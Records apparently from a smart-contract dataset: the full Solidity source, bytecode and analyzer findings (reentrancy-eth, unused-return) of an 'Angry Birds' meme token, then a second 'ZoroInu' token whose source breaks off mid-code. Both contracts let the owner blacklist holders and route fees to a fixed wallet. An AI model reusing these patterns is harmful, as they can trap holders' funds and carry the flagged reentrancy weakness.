0x56909D149a3FD12eFea80D4fa7eb021310c6a1a7
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** https://t.me/AngryBirdsETH ░█████╗░███╗░░██╗░██████╗░██████╗░██╗░░░██╗  ██████╗░██╗██████╗░██████╗░░██████╗ ██╔══██╗████╗░██║██╔════╝░██╔══██╗╚██╗░██╔╝  ██╔══██╗██║██╔══██╗██╔══██╗██╔════╝ ███████║██╔██╗██║██║░░██╗░██████╔╝░╚████╔╝░  ██████╦╝██║██████╔╝██║░░██║╚█████╗░ ██╔══██║██║╚████║██║░░╚██╗██╔══██╗░░╚██╔╝░░  ██╔══██╗██║██╔══██╗██║░░██║░╚═══██╗ ██║░░██║██║░╚███║╚██████╔╝██║░░██║░░░██║░░░  ██████╦╝██║██║░░██║██████╔╝██████╔╝ ╚═╝░░╚═╝╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░  ╚═════╝░╚═╝╚═╝░░╚═╝╚═════╝░╚═════╝░ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AngryBirds is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Angry Birds"; string private constant _symbol = "ANGRY BIRDS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xBCFaC9E0CAD89b2a2b98d4cA08f6eebbd2eCE60B); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 13; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610344578063b87f137a14610364578063c3c8cd8014610384578063c9567bf914610399578063dd62ed3e146103ae57600080fd5b806370a082311461029e578063715018a6146102be578063751039fc146102d35780638da5cb5b146102e857806395d89b411461031057600080fd5b8063273123b7116100e7578063273123b71461020d578063313ce5671461022d5780635932ead114610249578063677daa57146102695780636fc3eaec1461028957600080fd5b806306fdde031461012f578063095ea7b31461017557806318160ddd146101a55780631b3f71ae146101cb57806323b872dd146101ed57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a416e67727920426972647360a81b60208201525b60405161016c9190611704565b60405180910390f35b34801561018157600080fd5b5061019561019036600461177e565b6103f4565b604051901515815260200161016c565b3480156101b157600080fd5b5068056bc75e2d631000005b60405190815260200161016c565b3480156101d757600080fd5b506101eb6101e63660046117c0565b61040b565b005b3480156101f957600080fd5b50610195610208366004611885565b6104aa565b34801561021957600080fd5b506101eb6102283660046118c6565b610513565b34801561023957600080fd5b506040516009815260200161016c565b34801561025557600080fd5b506101eb6102643660046118f1565b61055e565b34801561027557600080fd5b506101eb61028436600461190e565b6105a6565b34801561029557600080fd5b506101eb610601565b3480156102aa57600080fd5b506101bd6102b93660046118c6565b61062e565b3480156102ca57600080fd5b506101eb610650565b3480156102df57600080fd5b506101eb6106c4565b3480156102f457600080fd5b506000546040516001600160a01b03909116815260200161016c565b34801561031c57600080fd5b5060408051808201909152600b81526a414e47525920424952445360a81b602082015261015f565b34801561035057600080fd5b5061019561035f36600461177e565b610702565b34801561037057600080fd5b506101eb61037f36600461190e565b61070f565b34801561039057600080fd5b506101eb610764565b3480156103a557600080fd5b506101eb61079a565b3480156103ba57600080fd5b506101bd6103c9366004611927565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610401338484610b17565b5060015b92915050565b6000546001600160a01b0316331461043e5760405162461bcd60e51b815260040161043590611960565b60405180910390fd5b60005b81518110156104a65760016006600084848151811061046257610462611995565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049e816119c1565b915050610441565b5050565b60006104b7848484610c3b565b610509843361050485604051806060016040528060288152602001611b24602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102e565b610b17565b5060019392505050565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161043590611960565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105885760405162461bcd60e51b815260040161043590611960565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105d05760405162461bcd60e51b815260040161043590611960565b600081116105dd57600080fd5b6105fb60646105f568056bc75e2d6310000084611068565b906110f1565b600f5550565b600c546001600160a01b0316336001600160a01b03161461062157600080fd5b4761062b81611133565b50565b6001600160a01b0381166000908152600260205260408120546104059061116d565b6000546001600160a01b0316331461067a5760405162461bcd60e51b815260040161043590611960565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ee5760405162461bcd60e51b815260040161043590611960565b68056bc75e2d63100000600f819055601055565b6000610401338484610c3b565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161043590611960565b6000811161074657600080fd5b61075e60646105f568056bc75e2d6310000084611068565b60105550565b600c546001600160a01b0316336001600160a01b03161461078457600080fd5b600061078f3061062e565b905061062b816111ea565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161043590611960565b600e54600160a01b900460ff161561081e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610435565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085b308268056bc75e2d63100000610b17565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd91906119da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092e91906119da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561097b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099f91906119da565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109cf8161062e565b6000806109e46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7191906119f7565b5050600e80546729a2241af62c0000600f81905560105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a69190611a25565b6001600160a01b038316610b795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610435565b6001600160a01b038216610bda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610435565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610435565b6001600160a01b038216610d015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610435565b60008111610d635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610435565b6000600a818155600b55546001600160a01b03848116911614801590610d9757506000546001600160a01b03838116911614155b1561101e576001600160a01b03831660009081526006602052604090205460ff16158015610dde57506001600160a01b03821660009081526006602052604090205460ff16155b610de757600080fd5b600e546001600160a01b038481169116148015610e125750600d546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750600e54600160b81b900460ff165b15610f5157600f54811115610ea35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610435565b60105481610eb08461062e565b610eba9190611a42565b1115610f085760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610435565b6001600160a01b0382166000908152600760205260409020544211610f2c57600080fd5b610f3742601e611a42565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f7c5750600d546001600160a01b03848116911614155b8015610fa157506001600160a01b03831660009081526005602052604090205460ff16155b15610fb1576000600a55600d600b555b6000610fbc3061062e565b600e54909150600160a81b900460ff16158015610fe75750600e546001600160a01b03858116911614155b8015610ffc5750600e54600160b01b900460ff165b1561101c5761100a816111ea565b47801561101a5761101a47611133565b505b505b611029838383611364565b505050565b600081848411156110525760405162461bcd60e51b81526004016104359190611704565b50600061105f8486611a5a565b95945050505050565b60008260000361107a57506000610405565b60006110868385611a71565b9050826110938583611a90565b146110ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610435565b9392505050565b60006110ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061136f565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a6573d6000803e3d6000fd5b60006008548211156111d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610435565b60006111de61139d565b90506110ea83826110f1565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123257611232611995565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112af91906119da565b816001815181106112c2576112c2611995565b6001600160a01b039283166020918202929092010152600d546112e89130911684610b17565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611321908590600090869030904290600401611ab2565b600060405180830381600087803b15801561133b57600080fd5b505af115801561134f573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110298383836113c0565b600081836113905760405162461bcd60e51b81526004016104359190611704565b50600061105f8486611a90565b60008060006113aa6114b7565b90925090506113b982826110f1565b9250505090565b6000806000806000806113d2876114f9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114049087611556565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114339086611598565b6001600160a01b038916600090815260026020526040902055611455816115f7565b61145f8483611641565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114a491815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d631000006114d382826110f1565b8210156114f05750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006115168a600a54600b54611665565b925092509250600061152661139d565b905060008060006115398e8787876116b4565b919e509c509a509598509396509194505050505091939550919395565b60006110ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102e565b6000806115a58385611a42565b9050838110156110ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610435565b600061160161139d565b9050600061160f8383611068565b3060009081526002602052604090205490915061162c9082611598565b30600090815260026020526040902055505050565b60085461164e9083611556565b60085560095461165e9082611598565b6009555050565b600080808061167960646105f58989611068565b9050600061168c60646105f58a89611068565b905060006116a48261169e8b86611556565b90611556565b9992985090965090945050505050565b60008080806116c38886611068565b905060006116d18887611068565b905060006116df8888611068565b905060006116f18261169e8686611556565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561173157858101830151858201604001528201611715565b81811115611743576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062b57600080fd5b803561177981611759565b919050565b6000806040838503121561179157600080fd5b823561179c81611759565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d357600080fd5b823567ffffffffffffffff808211156117eb57600080fd5b818501915085601f8301126117ff57600080fd5b813581811115611811576118116117aa565b8060051b604051601f19603f83011681018181108582111715611836576118366117aa565b60405291825284820192508381018501918883111561185457600080fd5b938501935b828510156118795761186a8561176e565b84529385019392850192611859565b98975050505050505050565b60008060006060848603121561189a57600080fd5b83356118a581611759565b925060208401356118b581611759565b929592945050506040919091013590565b6000602082840312156118d857600080fd5b81356110ea81611759565b801515811461062b57600080fd5b60006020828403121561190357600080fd5b81356110ea816118e3565b60006020828403121561192057600080fd5b5035919050565b6000806040838503121561193a57600080fd5b823561194581611759565b9150602083013561195581611759565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119d3576119d36119ab565b5060010190565b6000602082840312156119ec57600080fd5b81516110ea81611759565b600080600060608486031215611a0c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3757600080fd5b81516110ea816118e3565b60008219821115611a5557611a556119ab565b500190565b600082821015611a6c57611a6c6119ab565b500390565b6000816000190483118215151615611a8b57611a8b6119ab565b500290565b600082611aad57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b025784516001600160a01b031683529383019391830191600101611add565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c5e3bb1aa6f0bdd0bd139b08715f98cda4f72f92283517dbbfd47d2f4722e2064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,585
0x4bcd794b517473dffbfd7888ae7034ce8bc3a7b0
/** *Submitted for verification at Etherscan.io on 2021-09-23 */ // SPDX-License-Identifier: Unlicensed /* Telegram: https://t.me/ZoroInu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZoroInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redistributionAddress; uint256 private _feeAddr2; address payable private _marketingAddress; string private constant _name = "ZoroInu"; string private constant _symbol = "ZORO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public openTradingTime; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _marketingAddress = payable(0xE6AF7b9555c4EffF5682f69c33aeb601367F848f); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _redistributionAddress = 1; _feeAddr2 = 3; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { if (block.timestamp < openTradingTime + 15 minutes) { require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); openTradingTime = block.timestamp; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { 